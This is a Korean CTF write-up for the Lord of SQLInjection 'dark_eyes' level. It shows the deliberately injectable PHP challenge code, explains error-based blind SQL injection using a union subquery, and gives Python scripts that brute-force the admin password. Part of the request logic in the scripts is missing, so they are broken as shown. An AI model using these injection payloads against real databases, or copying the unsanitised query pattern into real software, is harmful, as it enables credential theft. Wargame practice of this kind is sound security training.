<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(mysql_error()) exit();
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
highlight_file(__FILE__);
?>
소스코드
if, case, when, sleep, benchmark가 필터링 되어있어
조건문과 Time based blind injection이 불가능함
error가 발생해도 error내용을 출력하지않고 탈출
서브쿼리를 이용해서
error가 발생하지 않고 원래의 내용이 출력되는지
errorr가 발생해서 빈화면이 출력하는지로
blind injection을 해야함
여기서 사용할 서브쿼리는
select union select 인데
select 0 union select 조건을 해서
거짓이면 0이니
select 0 union select0 이라 결과는 0만 나오고
참이라면 1이여서
select 0 union select 1 이되어 0, 1이 나올 것임
근데 문제의 쿼리문에선 id하나만 뽑아옴
row가 1인데 서브쿼리로 2개가 나오는 것 자체가 error 이기 때문에
이걸 이용해서 error based blind injection 가능
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
import requests
cookie = {"PHPSESSID": "~~~~~~"}
session = requests.Session()
pwLen = 0
pw = ""
##find pwLen
for i in range(50):
params = {
"pw" : "' or id='admin' and (select 0 union select (length(pw)={}))#".format(i)
}
print(i,"is correct!!!!!!!!")
pwLen = i
break
print(i, "is not")
|
pw길이는 8글자
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
import requests
cookie = {"PHPSESSID": "~~~~~~"}
session = requests.Session()
pwLen = 0
pw = ""
##find pwLen
for i in range(50):
params = {
"pw" : "' or id='admin' and (select 0 union select (length(pw)={}))#".format(i)
}
print(i,"is correct!!!!!!!!")
pwLen = i
break
print(i, "is not")
##find pw
for i in range(1, pwLen+1):
for j in range(257):
params = {
"pw" : "' or id='admin' and (select 0 union select (ord(substr(pw,{},1))={}))#".format(i,j)
}
print(chr(j),"is correct!!!!!!!!")
pw +=chr(j)
break
print(chr(j), "is not")
print(pw)
|
Dark_eyes Clear
'Wargame, CTF > LOS_eagle' 카테고리의 다른 글
LOS _Iron_golem (0) | 2020.03.16 |
---|---|
LOS _Dragon (0) | 2020.03.16 |
LOS _Xavis (0) | 2020.03.16 |
LOS _nightmare (0) | 2019.12.02 |
LOS _succubus (0) | 2019.11.21 |